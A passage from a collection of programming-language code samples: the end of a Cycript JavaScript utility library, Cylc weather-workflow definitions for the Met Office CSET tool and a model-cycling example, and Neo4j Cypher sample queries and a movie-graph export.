**)(obj)[1]);\n\t\t\n\t\tif(!utils.isMemoryReadable(obj_class)) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tvar metaclass = objc_isa_ptr(@encode(void **)(obj_class)[0]);\n\t\tvar superclass = objc_isa_ptr(@encode(void **)(obj_class)[1]);\n\t\t\n\t\treturn ptrValue(obj) == ptrValue(metaclass) && superclass == null;\n\t};\n\t\n\t/*\n\t\tCreates a cycript struct type from a C struct definition\n\t\t\n\t\tUsage:\n\t\t\tcy# var foo = makeStruct(\"int a; short b; char c; uint64_t d; double e;\", \"foo\");\n\t\t\t@encode(foo)\n\t\t\tcy# var f = new foo\n\t\t\t&{a:0,b:0,c:0,d:0,e:0}\n\t\t\tcy# f->a = 100; f\n\t\t\t&{a:100,b:0,c:0,d:0,e:0}\n\t\t\tcy# *@encode(int *)(f)\n\t\t\t100\n\t*/\n\tutils.makeStruct = function(str, name) {\t\t\n\t\tvar fieldRe = /(?:\\s|\\n)*([^;]+\\s*(?:\\s|\\*))([^;]+)\\s*;/g;\n\t\t\n\t\tif(!name) {\n\t\t\tname = \"struct\" + Math.floor(Math.random() * 100000);\n\t\t}\n\t\tvar typeStr = \"{\" + name + \"=\";\n\t\t\n\t\twhile((match = fieldRe.exec(str)) !== null) {\n\t\t\tvar fieldType = utils.applyTypedefs(match[1]);\n\t\t\tvar fieldName = match[2];\n\t\t\tvar encodedType = utils.exec(\"@encode(\" + fieldType + \")\").toString();\n\t\t\t\n\t\t\ttypeStr += '\"' + fieldName + '\"' + encodedType;\n\t\t}\n\t\t\n\t\ttypeStr += \"}\";\n\t\t\n\t\treturn new Type(typeStr);\n\t};\n\t\n\t// Various constants\n\tutils.constants = {\n\t\tVM_PROT_NONE:       0x0,\n\t\tVM_PROT_READ:       0x1,\n\t\tVM_PROT_WRITE:      0x2,\n\t\tVM_PROT_EXECUTE:    0x4,\n\t\tVM_PROT_NO_CHANGE:  0x8,\n\t\tVM_PROT_COPY:       0x10,\n\t\tVM_PROT_WANTS_COPY: 0x10,\n\t\tVM_PROT_IS_MASK:    0x40,\n\t};\n\tvar c = utils.constants;\n\tc.VM_PROT_DEFAULT = c.VM_PROT_READ | c.VM_PROT_WRITE;\n\tc.VM_PROT_ALL =     c.VM_PROT_READ | c.VM_PROT_WRITE | c.VM_PROT_EXECUTE;\n\t\n\tif(shouldExposeConsts) {\n\t\tfor(var k in c) {\n\t\t\tCycript.all[k] = c[k];\n\t\t}\n\t}\n\t\n\tif(shouldExposeFuncs) {\n\t\tfor(var i = 0; i < funcsToExpose.length; i++) {\n\t\t\tvar name = funcsToExpose[i];\n\t\t\tCycript.all[name] = utils[name];\n\t\t}\n\t}\n\t\n\tif(shouldLoadCFuncs) {\n\t\tutils.loadfuncs(shouldExposeCFuncs);\n\t}\n})(exports);\n"
  },
  {
    "path": "samples/Cylc/cset-include.cylc",
    "content": "# Modified code samples from https://github.com/MetOffice/CSET/blob/main/cset-workflow/includes\n# (Apache 2.0 license)\n\n{% if DOMAIN_MEAN_SURFACE_TIME_SERIES %}\n{% for model_field in SURFACE_MODEL_FIELDS %}\n[runtime]\n    [[pre_process_domain_mean_surface_time_series_{{model_field}}]]\n    inherit = PARALLEL\n        [[[environment]]]\n        CSET_RECIPE_NAME = \"generic_surface_domain_mean_time_series.yaml\"\n        CSET_ADDOPTS = \"--VARNAME={{model_field}}\"\n\n    [[collate_domain_mean_surface_time_series_{{model_field}}]]\n    inherit = COLLATE\n        [[[environment]]]\n        CSET_RECIPE_NAME = \"generic_surface_domain_mean_time_series.yaml\"\n        CSET_ADDOPTS = \"--VARNAME={{model_field}}\"\n{% endfor %}\n{% endif %}\n\n{% if DETERMINISTIC_PLOT_CAPE_RATIO %}\n[runtime]\n    [[parallel_plot_cape_ratio]]\n    inherit = PARALLEL\n        [[[environment]]]\n        CSET_RECIPE_NAME = \"CAPE_ratio_plot.yaml\"\n\n    [[collate_plot_cape_ratio]]\n    inherit = COLLATE\n        [[[environment]]]\n        CSET_RECIPE_NAME = \"CAPE_ratio_plot.yaml\"\n{% endif %}\n\n{% if DOMAIN_MEAN_TIME_SERIES_STASH %}\n{% for stash in STASH_CODES %}\n[runtime]\n    [[pre_process_stash_surface_domain_mean_time_series_{{stash}}]]\n    inherit = PARALLEL\n        [[[environment]]]\n        CSET_RECIPE_NAME = \"stash_surface_domain_mean_time_series.yaml\"\n        CSET_ADDOPTS = \"--STASH={{stash}}\"\n\n    [[collate_stash_surface_domain_mean_time_series_{{stash}}]]\n    inherit = COLLATE\n        [[[environment]]]\n        CSET_RECIPE_NAME = \"stash_surface_domain_mean_time_series.yaml\"\n        CSET_ADDOPTS = \"--STASH={{stash}}\"\n{% endfor %}\n{% endif %}\n\n{% if LFRIC_DOMAIN_MEAN_SURFACE_TIME_SERIES %}\n{% for model_field in SURFACE_MODEL_FIELDS %}\n[runtime]\n    [[pre_process_lfric_domain_mean_surface_time_series_{{model_field}}]]\n    inherit = PARALLEL\n        [[[environment]]]\n        CSET_RECIPE_NAME = \"lfric_generic_surface_domain_mean_time_series.yaml\"\n        CSET_ADDOPTS = \"\"\"\n        --VARNAME={{model_field}}\n        {% if SELECT_SUBAREA %}\n        --SUBAREA_LAT_BOUND_BOTTOM={{SUBAREA_LAT_BOUND_BOTTOM}}\n        --SUBAREA_LAT_BOUND_TOP={{SUBAREA_LAT_BOUND_TOP}}\n        --SUBAREA_LON_BOUND_RIGHT={{SUBAREA_LON_BOUND_RIGHT}}\n        --SUBAREA_LON_BOUND_LEFT={{SUBAREA_LON_BOUND_LEFT}}\n        {% endif %}\n        \"\"\"\n\n    [[collate_lfric_domain_mean_surface_time_series_{{model_field}}]]\n    inherit = COLLATE\n        [[[environment]]]\n        CSET_RECIPE_NAME = \"lfric_generic_surface_domain_mean_time_series.yaml\"\n        CSET_ADDOPTS = \"\"\"\n        --VARNAME={{model_field}}\n        {% if SELECT_SUBAREA %}\n        --SUBAREA_LAT_BOUND_BOTTOM={{SUBAREA_LAT_BOUND_BOTTOM}}\n        --SUBAREA_LAT_BOUND_TOP={{SUBAREA_LAT_BOUND_TOP}}\n        --SUBAREA_LON_BOUND_RIGHT={{SUBAREA_LON_BOUND_RIGHT}}\n        --SUBAREA_LON_BOUND_LEFT={{SUBAREA_LON_BOUND_LEFT}}\n        {% endif %}\n        \"\"\"\n{% endfor %}\n{% endif %}\n"
  },
  {
    "path": "samples/Cylc/cset.cylc",
    "content": "# Modified code sample from https://github.com/MetOffice/CSET/blob/main/cset-workflow/flow.cylc\n# (Apache 2.0 license)\n\n[meta]\ntitle = CSET\ndescription = Workflow for running CSET.\nURL = https://metoffice.github.io/CSET\n\n[scheduler]\n    UTC mode = True\n\n[scheduling]\n    runahead limit = P{{CSET_RUNAHEAD_LIMIT}}\n    initial cycle point = {{CSET_INITIAL_CYCLE_POINT}}\n    final cycle point = {{CSET_FINAL_CYCLE_POINT}}\n\n    [[graph]]\n    # Only runs on the first cycle.\n    R1/^ = \"\"\"\n    build_conda => install_website_skeleton\n    build_conda => install_local_cset\n    install_website_skeleton & install_local_cset => FETCH_DATA\n    \"\"\"\n\n    # Only runs on the final cycle.\n    R1/$ = \"\"\"\n    process_finish => COLLATE:succeed-all =>\n    finish_website => send_email => housekeeping_full\n    \"\"\"\n\n    # Runs every cycle to process the data in parallel.\n    {{CSET_CYCLE_PERIOD}} = \"\"\"\n    install_website_skeleton[^] & install_local_cset[^] =>\n    FETCH_DATA:succeed-all => PARALLEL:succeed-all =>\n    process_finish => housekeeping_raw\n\n    # Intercycle dependence with this task ensures the collate step waits for\n    # the required data.\n    process_finish[-{{CSET_CYCLE_PERIOD}}] => process_finish\n    \"\"\"\n\n    {% if CSET_INCREMENTAL_OUTPUT %}\n    # Runs every so often to update output plots during runtime.\n    {{CSET_INCREMENTAL_OUTPUT_PERIOD}} = \"\"\"\n    COLLATE[-{{CSET_INCREMENTAL_OUTPUT_PERIOD}}]:finish-all &\n    process_finish => COLLATE\n    \"\"\"\n    {% endif %}\n\n[runtime]\n    [[root]]\n    script = rose task-run -v\n    execution time limit = PT15M\n        [[[environment]]]\n        CSET_ENV_USE_MODULES = {{CSET_ENV_USE_MODULES}}\n        {% if CSET_ENV_USE_MODULES %}\n        MODULES_LIST = {{MODULES_LIST}}\n        MODULES_PURGE = {{MODULES_PURGE}}\n        {% endif %}\n\n        CSET_ENV_USE_CONDA = {{CSET_ENV_USE_CONDA}}\n        {% if CSET_ENV_USE_CONDA %}\n        CONDA_PATH = {{CONDA_PATH}}\n        CONDA_VENV_LOCATION = {{CONDA_VENV_LOCATION}}\n        {% endif %}\n\n        CSET_ENV_SEPARATE_MET = {{CSET_ENV_SEPARATE_MET}}\n        {% if CSET_ENV_SEPARATE_MET %}\n        CONDA_METPLUS_VENV_LOCATION = {{CONDA_METPLUS_VENV_LOCATION}}\n        MET_INSTALL_DIR = {{MET_INSTALL_DIR}}\n        MET_BUILD_BASE = {{MET_BUILD_BASE}}\n        METPLUS_BASE = {{METPLUS_BASE}}\n        MET_LIBRARIES = {{MET_LIBRARIES}}\n        {% endif %}\n\n        LOGLEVEL = {{LOGLEVEL}}\n        WEB_DIR = {{WEB_DIR}}\n        COLORBAR_FILE = {{COLORBAR_FILE}}\n\n    [[PARALLEL]]\n    script = rose task-run -v --app-key=run_cset_recipe\n    [[[environment]]]\n        CSET_BAKE_MODE = parallel\n\n    [[COLLATE]]\n    script = rose task-run -v --app-key=run_cset_recipe\n    [[[environment]]]\n        CSET_BAKE_MODE = collate\n\n    [[FETCH_DATA]]\n\n    [[process_finish]]\n    # Dummy task needed for workflow scheduling.\n    script = true\n    platform = localhost\n\n    [[build_conda]]\n    # Create the conda environment if it does not yet exist.\n    execution time limit = PT30M\n        [[[environment]]]\n        CONDA_VENV_CREATE = {{CONDA_VENV_CREATE}}\n\n    [[install_local_cset]]\n    # Install CSET from source.\n    execution time limit = PT5M\n        [[[environment]]]\n        CSET_ENV_USE_LOCAL_CSET = {{CSET_ENV_USE_LOCAL_CSET}}\n        {% if CSET_ENV_USE_LOCAL_CSET %}\n        CSET_LOCAL_CSET_PATH = {{CSET_LOCAL_CSET_PATH}}\n        {% endif %}\n\n    [[install_website_skeleton]]\n    # Copies the static files that make up the web interface.\n        [[[environment]]]\n        CLEAN_WEB_DIR = {{CLEAN_WEB_DIR}}\n\n    [[fetch_fcst]]\n    # Fetch data from disk or a file based archival system.\n    inherit = FETCH_DATA\n        [[[environment]]]\n        ROSE_APP_OPT_CONF_KEYS = {{FETCH_FCST_OPT_CONF}}\n        CSET_INPUT_FILE_PATH = {{CSET_INPUT_FILE_PATH}}\n        {% if CSET_INCREMENTAL_DATA_FETCH %}\n        CSET_FILE_NAME_METADATA_PATTERN = {{CSET_FILE_NAME_METADATA_PATTERN}}\n        CSET_CYCLE_PERIOD = {{CSET_CYCLE_PERIOD}}\n        CSET_TIMES_PER_FILE = {{CSET_TIMES_PER_FILE}}\n        CSET_FILE_TIME_OFFSET = {{CSET_FILE_TIME_OFFSET}}\n        {% endif %}\n\n    [[housekeeping_raw]]\n    # Housekeep unprocessed data files.\n    script = rose task-run -v --app-key=housekeeping\n        [[[environment]]]\n        HOUSEKEEPING_MODE = {{[HOUSEKEEPING_MODE, 1]|min}}\n\n    [[housekeeping_full]]\n    # Housekeep processed intermediate files too.\n    script = rose task-run -v --app-key=housekeeping\n        [[[environment]]]\n        HOUSEKEEPING_MODE = {{[HOUSEKEEPING_MODE, 2]|min}}\n\n    [[finish_website]]\n    # Updates the workflow info in the web interface.\n    platform = localhost\n\n    [[send_email]]\n    # Send email to notify that the workflow is complete.\n    platform = localhost\n        [[[environment]]]\n        WEB_ADDR = {{WEB_ADDR}}\n\n\n# Include files bring their own graph and runtime sections.\n{% for include_file in glob(\"includes/*.cylc\") %}\n{% include include_file %}\n{% endfor %}\n\n{# Site-specific details that add to (or override) the core suite definition #}\n{% include 'site/' ~ SITE ~ '.cylc' %}\n"
  },
  {
    "path": "samples/Cylc/model.cylc",
    "content": "{% set BUILD_DIR = \"$CYLC_WORKFLOW_RUN_DIR/share/build\"\n{% set initial_cycle_point = initial_cycle_point | default('2000') %}\n{% set final_cycle_point = final_cycle_point | default('') %}\n\n[meta]\n    description = \"\"\"\n        A datetime cycling workflow that builds and runs a model in a cyclic\n        manner.\n    \"\"\"\n\n[task parameters]\n    diagnostic = land, air, water\n\n[scheduling]\n    initial cycle point = {{ initial_cycle_point }}\n    final cycle point = {{ final_cycle_point }}\n    runahead limit = P3D\n\n    [[queues]]\n        [[[housekeep]]]\n            limit = 1\n            members = housekeep\n\n    [[special tasks]]\n        clock-triggers = \\\n            fetch(-PT10M), \\\n            bc(PT0H)\n\n    [[graph]]\n        # startup\n        R1 = \"\"\"\n            configure => build => install => run_model\n            recon => bc?\n\n            # fallback\n            bc:fail? => bc2\n        \"\"\"\n\n        # daily cycling\n        P1D = \"\"\"\n            # wait for spin up\n            bc[^]? | bc2[^] => fetch\n\n            # run model and processing\n            fetch => run_model => process<diagnostic> => housekeep\n\n            # run_model depends on the previous two runs\n            run_model[-P1D] => run_model\n            run_model[-P2D] => run_model\n        \"\"\"\n\n        # shutdown\n        R1/$ = \"\"\"\n            run_model => report => archive => housekeep\n        \"\"\"\n\n[runtime]\n    [[configure]]\n        script = \"\"\"\n            mkdir -p \"{{ BUILD_DIR }}\"\n            src/configure \"{{ BUILD_DIR }}\"\n        \"\"\"\n\n    [[build]]\n        platform = hpc-bg  # build on login node (same arch)\n        script = rose task-run --app-key=fcm_make\n\n    [[install]]\n        script = rsync \"$SRC\" \"$DEST\"\n        [[[environment]]]\n            SRC = {{ BUILD_DIR }}\n            DEST = $CYLC_WORKFLOW_RUN_DIR/lib/build\n\n    [[BC]]\n        script = rose task-run --app-key=create_bc\n        [[environment]]\n            OROG = N34\n\n    [[bc]]\n        inherit = BC\n        execution time limit = PT10M\n        completion = succeeded or failed\n\n    [[bc2]]\n        # fallback if bc fails -> shortstep and force override\n        inherit = BC\n        execution time limit = PT15M\n        [[[environment]]]\n            SS = .true.\n            FORCE = .true.\n\n    [[HPC]]\n        platform = hpc\n        [[[directives]]]\n            --nodes=32\n            --mem-per-node=128Gb\n\n    [[run_model]]\n        inherit = HPC\n        pre-script = eval $(rose task-env)\n        script = rose task-run --debug\n        err-script = model-debug  # only run if the task fails\n        submission retry delays = 1*PT1M, 5*PT5M\n        execution time limit = PT1H15M\n        [[[environment]]]\n            # strip time off of the cycle point for model use\n            MODEL_TIME = $(isodatetime \"${CYLC_TASK_CYCLE_POINT}\" --format=CCYYMMDD)\n\n    [[fetch]]\n        pre-script = eval $(rose task-env)\n        script = rose task-run\n        execution retry delays = 1*PT1M, 2*PT5M, 5*PT10M\n\n    [[<diagnostic>]]\n        # family representing a model diagnostic\n        [[[environment]]]\n            DIAG = fcum_%(diagnostic)s\n\n    [[process<diagnostic>]]\n        inherit = <diagnostic>\n        script = rose task-run\n\n    [[process<diagnostic=air>]]\n        # override the STASH code for the aircraft diagnostic\n        [[[environment]]]\n            STASH = a90d23a10e8500\n\n    [[report]]\n        script = make-report && mv report.html \"${CYLC_WORKFLOW_SHARE_DIR}\"\n\n    [[archive]]\n        script = rose task-run --app-key=rose_arch\n\n    [[housekeep]]\n        pre-script = eval $(rose task-env)\n        script = rose task-run --app-key=rose_prune\n"
  },
  {
    "path": "samples/Cypher/db_export_res.cypher",
    "content": ":begin\nCREATE CONSTRAINT ON (node:`UNIQUE IMPORT LABEL`) ASSERT (node.`UNIQUE IMPORT ID`) IS UNIQUE;\n:commit\n\n:begin\nUNWIND [{_id:0, properties:{tagline:\"Welcome to the Real World\", title:\"The Matrix\", released:1999}}] AS row\nCREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:Movie;\n\nUNWIND [{_id:1, properties:{born:1964, name:\"Keanu Reeves\"}}, {_id:2, properties:{born:1967, name:\"Carrie-Anne Moss\"}}, {_id:3, properties:{born:1961, name:\"Laurence Fishburne\"}}, {_id:4, properties:{born:1960, name:\"Hugo Weaving\"}}, {_id:5, properties:{born:1967, name:\"Lilly Wachowski\"}}, {_id:6, properties:{born:1965, name:\"Lana Wachowski\"}}, {_id:7, properties:{born:1952, name:\"Joel Silver\"}}] AS row\nCREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:Person;\n:commit\n\n:begin\nUNWIND [{start: {_id:1}, end: {_id:0}, properties:{roles:[\"Neo\"]}}, {start: {_id:2}, end: {_id:0}, properties:{roles:[\"Trinity\"]}}, {start: {_id:3}, end: {_id:0}, properties:{roles:[\"Morpheus\"]}}, {start: {_id:4}, end: {_id:0}, properties:{roles:[\"Agent Smith\"]}}] AS row\nMATCH (start:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.start._id})\nMATCH (end:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.end._id})\nCREATE (start)-[r:ACTED_IN]->(end) SET r += row.properties;\n\nUNWIND [{start: {_id:7}, end: {_id:0}, properties:{}}] AS row\nMATCH (start:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.start._id})\nMATCH (end:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.end._id})\nCREATE (start)-[r:PRODUCED]->(end) SET r += row.properties;\n\nUNWIND [{start: {_id:5}, end: {_id:0}, properties:{}}, {start: {_id:6}, end: {_id:0}, properties:{}}] AS row\nMATCH (start:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.start._id})\nMATCH (end:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.end._id})\nCREATE (start)-[r:DIRECTED]->(end) SET r += row.properties;\n:commit\n\n:begin\nMATCH (n:`UNIQUE IMPORT LABEL`)  WITH n LIMIT 20000 REMOVE n:`UNIQUE IMPORT LABEL` REMOVE n.`UNIQUE IMPORT ID`;\n:commit\n\n:begin\nDROP CONSTRAINT ON (node:`UNIQUE IMPORT LABEL`) ASSERT (node.`UNIQUE IMPORT ID`) IS UNIQUE;\n:commit"
  },
  {
    "path": "samples/Cypher/graphgems.cyp",
    "content": "// From: https://github.com/neo4j/cypher-shell/blob/4.3/cypher-shell/src/test/resources/org/neo4j/shell/parser/graphgems.cypher\n\n//GRAPHGEMS\n//10 (?) cypher queries that will blow your mind\n\n//1. The meta-graph\nMATCH (a)-[r]->(b)\nWITH labels(a) AS a_labels,type(r) AS rel_type,labels(b) AS b_labels\nUNWIND a_labels as l\nUNWIND b_labels as l2\nMERGE (a:Meta_Node {name:l})\nMERGE (b:Meta_Node {name:l2})\nMERGE (a)-[:META_RELATIONSHIP {name:rel_type}]->(b)\nRETURN distinct l as first_node, rel_type as connected_by, l2 as second_node\n\n//2. Betweenness centrality ftw\nMATCH p=allShortestPaths((source:Person)-[:KNOWS*]-(target:Person))\nWHERE id(source) < id(target) and length(p) > 1\nUNWIND nodes(p)[1..-1] as n\nRETURN n.firstname, n.lastname, count(*) as betweenness\nORDER BY betweenness DESC;\n\n//3. Pagerank ftw\n//3.a Graph Theory: calculate the PageRank\nUNWIND range(1,2) AS round\nMATCH (n:Person)\nWHERE rand() < 0.1\nMATCH (n:Person)-[:KNOWS*..5]->(m:Person)\nSET m.rank = coalesce(m.rank,0) + 1\n\n//3.b Graph Theory: Show the PageRank\nmatch (n:Person)\nwhere n.rank is not null\nreturn n.firstname, n.lastname, n.rank\norder by n.rank desc\nlimit 10;\n\n//4. Weighted shortest path\nSTART  startNode=node:node_auto_index(name=\"Start\"),\n       endNode=node:node_auto_index(name=\"Finish\")\nMATCH  p=(startNode)-[:NAVIGATE_TO*]->(endNode)\nRETURN p AS shortestPath,\n       reduce(distance=0, r in relationships(p) | distance+r.distance) AS totalDistance\n       ORDER BY totalDistance ASC\n       LIMIT 1;\n\n\n//5. Creating an in-graph index based on ordering node properties\nmatch (t:Time)--(d:Day {date: 20150506})\nwith t\norder by t.time ASC\nwith collect(t) as times\n  foreach (i in range(0,length(times)-2) |\n    foreach (t1 in [times[i]] |\n      foreach (t2 in [times[i+1]] |\n        merge (t1)-[:FOLLOWED_BY]->(t2))));\n\n//6. Graph Karaoke\n//create the karaoke graph\nload csv with headers from \"https://docs.google.com/a/neotechnology.com/spreadsheets/d/1Q8W7hDOnkXiLanf2K3P85wAhqQG_qm7bTwI36MbB5fE/export?format=csv&id=1Q8W7hDOnkXiLanf2K3P85wAhqQG_qm7bTwI36MbB5fE&gid=0\" as csv\nwith csv.Sequence as seq, csv.Songsentence as row\nunwind row as text\nwith seq, reduce(t=tolower(text), delim in [\",\",\".\",\"!\",\"?\",'\"',\":\",\";\",\"'\",\"-\"] | replace(t,delim,\"\")) as normalized\nwith seq, [w in split(normalized,\" \") | trim(w)] as words\nunwind range(0,size(words)-2) as idx\nMERGE (w1:Word {name:words[idx], seq:toInteger(seq)})\nMERGE (w2:Word {name:words[idx+1], seq:toInteger(seq)})\nMERGE (w1)-[r:NEXT {seq:toInteger(seq)}]->(w2)\n\nmatch (endword:Word), (startword:Word)\nwhere not ()-[:NEXT]->(startword)\nand not (endword)-[:NEXT]->()\nand startword.seq=endword.seq+1\nmerge (endword)-[:NEXTSENTENCE]->(startword)\n\n\n//7. The Timetree\nWITH range(2011, 2014) AS years, range(1,12) as months\nFOREACH(year IN years |\n  MERGE (y:Year {year: year})\n  FOREACH(month IN months |\n    CREATE (m:Month {month: month})\n    MERGE (y)-[:HAS_MONTH]->(m)\n    FOREACH(day IN (CASE\n                      WHEN month IN [1,3,5,7,8,10,12] THEN range(1,31)\n                      WHEN month = 2 THEN\n                        CASE\n                          WHEN year % 4 <> 0 THEN range(1,28)\n                          WHEN year % 100 <> 0 THEN range(1,29)\n                          WHEN year % 400 <> 0 THEN range(1,29)\n                          ELSE range(1,28)\n                        END\n                      ELSE range(1,30)\n                    END) |\n      CREATE (d:Day {day: day})\n      MERGE (m)-[:HAS_DAY]->(d))))\n\nWITH *\n\nMATCH (year:Year)-[:HAS_MONTH]->(month)-[:HAS_DAY]->(day)\nWITH year,month,day\nORDER BY year.year, month.month, day.day\nWITH collect(day) as days\nFOREACH(i in RANGE(0, length(days)-2) |\n    FOREACH(day1 in [days[i]] |\n        FOREACH(day2 in [days[i+1]] |\n            CREATE UNIQUE (day1)-[:NEXT]->(day2))))\n\n//8. Mark's recommendation query\nMATCH (me:Person {name: \"Adam\"})\nMATCH (me)-[:FRIEND_OF]-()-[:FRIEND_OF]-(potentialFriend)\n\nWITH me, potentialFriend, COUNT(*) AS friendsInCommon\n\nWITH me,\n     potentialFriend,\n     SIZE((potentialFriend)-[:LIVES_IN]->()<-[:LIVES_IN]-(me)) AS sameLocation,\n     abs( me.age - potentialFriend.age) AS ageDifference,\n     LABELS(me) = LABELS(potentialFriend) AS gender,\n     friendsInCommon\n\nWHERE NOT (me)-[:FRIEND_OF]-(potentialFriend)\n\nWITH potentialFriend,\n       // 100 -> maxScore, 10 -> eightyPercentLevel, friendsInCommon -> score (from the formula above)\n       100 * (1 - exp((-1.0 * (log(5.0) / 10)) * friendsInCommon)) AS friendsInCommon,\n       sameLocation * 10 AS sameLocation,\n       -1 * (10 * (1 - exp((-1.0 * (log(5.0) / 20)) * ageDifference))) AS ageDifference,\n       CASE WHEN gender THEN 10 ELSE 0 END as sameGender\n\nRETURN potentialFriend,\n      {friendsInCommon: friendsInCommon,\n       sameLocation: sameLocation,\n       ageDifference:ageDifference,\n       sameGender: sameGender} AS parts,\n     friendsInCommon + sameLocation + ageDifference + sameGender AS score\nORDER BY score DESC\n\n//9. The Daisy!\nCREATE (a:Middle {name:\"\"}) -[:STALK]-> (b:Root {name:\"\"})\nFOREACH (i in RANGE(1,10) | CREATE (a) -[:PETAL]-> (a))\nRETURN a, b\n\n\n\n\n//10. MERGE on dense nodes\n// see http://stackoverflow.com/questions/30930311/how-can-i-optimise-a-neo4j-merge-query-on-a-node-with-many-relationships/30932777#30932777\n\nconvert this\nMATCH (from:Node { id: 0 })\nUNWIND RANGE(1,10000) AS i\nMATCH (to:Node { id: i})\nMERGE (to)<-[:HAS]-(from);\n\nto\n\nMATCH (from:Node { id: 0 })\nUNWIND RANGE(1,100000) AS i\nMATCH (to:Node { id: i})\nWHERE shortestPath((to)<-[:HAS]-(from)) IS NULL\nCREATE (from)-[:HAS]->(to);"
  },
  {
    "path": "samples/Cypher/graphgems.cypher",
    "content": "// From: https://github.com/neo4j/cypher-shell/blob/4.3/cypher-shell/src/test/resources/org/neo4j/shell/parser/graphgems.cypher\n\n//GRAPHGEMS\n//10 (?) cypher queries that will blow your mind\n\n//1. The meta-graph\nMATCH (a)-[r]->(b)\nWITH labels(a) AS a_labels,type(r) AS rel_type,labels(b) AS b_labels\nUNWIND a_labels as l\nUNWIND b_labels as l2\nMERGE (a:Meta_Node {name:l})\nMERGE (b:Meta_Node {name:l2})\nMERGE (a)-[:META_RELATIONSHIP {name:rel_type}]->(b)\nRETURN distinct l as first_node, rel_type as connected_by, l2 as second_node\n\n//2. Betweenness centrality ftw\nMATCH p=allShortestPaths((source:Person)-[:KNOWS*]-(target:Person))\nWHERE id(source) < id(target) and length(p) > 1\nUNWIND nodes(p)[1..-1] as n\nRETURN n.firstname, n.lastname, count(*) as betweenness\nORDER BY betweenness DESC;\n\n//3. Pagerank ftw\n//3.a Graph Theory: calculate the PageRank\nUNWIND range(1,2) AS round\nMATCH (n:Person)\nWHERE rand() < 0.1\nMATCH (n:Person)-[:KNOWS*..5]->(m:Person)\nSET m.rank = coalesce(m.rank,0) + 1\n\n//3.b Graph Theory: Show the PageRank\nmatch (n:Person)\nwhere n.rank is not null\nreturn n.firstname, n.lastname, n.rank\norder by n.rank desc\nlimit 10;\n\n//4. Weighted shortest path\nSTART  startNode=node:node_auto_index(name=\"Start\"),\n       endNode=node:node_auto_index(name=\"Finish\")\nMATCH  p=(startNode)-[:NAVIGATE_TO*]->(endNode)\nRETURN p AS shortestPath,\n       reduce(distance=0, r in relationships(p) | distance+r.distance) AS totalDistance\n       ORDER BY totalDistance ASC\n       LIMIT 1;\n\n\n//5. Creating an in-graph index based on ordering node properties\nmatch (t:Time)--(d:Day {date: 20150506})\nwith t\norder by t.time ASC\nwith collect(t) as times\n  foreach (i in range(0,length(times)-2) |\n    foreach (t1 in [times[i]] |\n      foreach (t2 in [times[i+1]] |\n        merge (t1)-[:FOLLOWED_BY]->(t2))));\n\n//6. Graph Karaoke\n//create the karaoke graph\nload csv with headers from \"https://docs.google.com/a/neotechnology.com/spreadsheets/d/1Q8W7hDOnkXiLanf2K3P85wAhqQG_qm7bTwI36MbB5fE/export?format=csv&id=1Q8W7hDOnkXiLanf2K3P85wAhqQG_qm7bTwI36MbB5fE&gid=0\" as csv\nwith csv.Sequence as seq, csv.Songsentence as row\nunwind row as text\nwith seq, reduce(t=tolower(text), delim in [\",\",\".\",\"!\",\"?\",'\"',\":\",\";\",\"'\",\"-\"] | replace(t,delim,\"\")) as normalized\nwith seq, [w in split(normalized,\" \") | trim(w)] as words\nunwind range(0,size(words)-2) as idx\nMERGE (w1:Word {name:words[idx], seq:toInteger(seq)})\nMERGE (w2:Word {name:words[idx+1], seq:toInteger(seq)})\nMERGE (w1)-[r:NEXT {seq:toInteger(seq)}]->(w2)\n\nmatch (endword:Word), (startword:Word)\nwhere not ()-[:NEXT]->(startword)\nand not (endword)-[:NEXT]->()\nand startword.seq=endword.seq+1\nmerge (endword)-[:NEXTSENTENCE]->(startword)\n\n\n//7. The Timetree\nWITH range(2011, 2014) AS years, range(1,12) as months\nFOREACH(year IN years |\n  MERGE (y:Year {year: year})\n  FOREACH(month IN months |\n    CREATE (m:Month {month: month})\n    MERGE (y)-[:HAS_MONTH]->(m)\n    FOREACH(day IN (CASE\n                      WHEN month IN [1,3,5,7,8,10,12] THEN range(1,31)\n                      WHEN month = 2 THEN\n                        CASE\n                          WHEN year % 4 <> 0 THEN range(1,28)\n                          WHEN year % 100 <> 0 THEN range(1,29)\n                          WHEN year % 400 <> 0 THEN range(1,29)\n                          ELSE range(1,28)\n                        END\n                      ELSE range(1,30)\n                    END) |\n      CREATE (d:Day {day: day})\n      MERGE (m)-[:HAS_DAY]->(d))))\n\nWITH *\n\nMATCH (year:Year)-[:HAS_MONTH]->(month)-[:HAS_DAY]->(day)\nWITH year,month,day\nORDER BY year.year, month.month, day.day\nWITH collect(day) as days\nFOREACH(i in RANGE(0, length(days)-2) |\n    FOREACH(day1 in [days[i]] |\n        FOREACH(day2 in [days[i+1]] |\n            CREATE UNIQUE (day1)-[:NEXT]->(day2))))\n\n//8. Mark's recommendation query\nMATCH (me:Person {name: \"Adam\"})\nMATCH (me)-[:FRIEND_OF]-()-[:FRIEND_OF]-(potentialFriend)\n\nWITH me, potentialFriend, COUNT(*) AS friendsInCommon\n\nWITH me,\n     potentialFriend,\n     SIZE((potentialFriend)-[:LIVES_IN]->()<-[:LIVES_IN]-(me)) AS sameLocation,\n     abs( me.age - potentialFriend.age) AS ageDifference,\n     LABELS(me) = LABELS(potentialFriend) AS gender,\n     friendsInCommon\n\nWHERE NOT (me)-[:FRIEND_OF]-(potentialFriend)\n\nWITH potentialFriend,\n       // 100 -> maxScore, 10 -> eightyPercentLevel, friendsInCommon -> score (from the formula above)\n       100 * (1 - exp((-1.0 * (log(5.0) / 10)) * friendsInCommon)) AS friendsInCommon,\n       sameLocation * 10 AS sameLocation,\n       -1 * (10 * (1 - exp((-1.0 * (log(5.0) / 20)) * ageDifference))) AS ageDifference,\n       CASE WHEN gender THEN 10 ELSE 0 END as sameGender\n\nRETURN potentialFriend,\n      {friendsInCommon: friendsInCommon,\n       sameLocation: sameLocation,\n       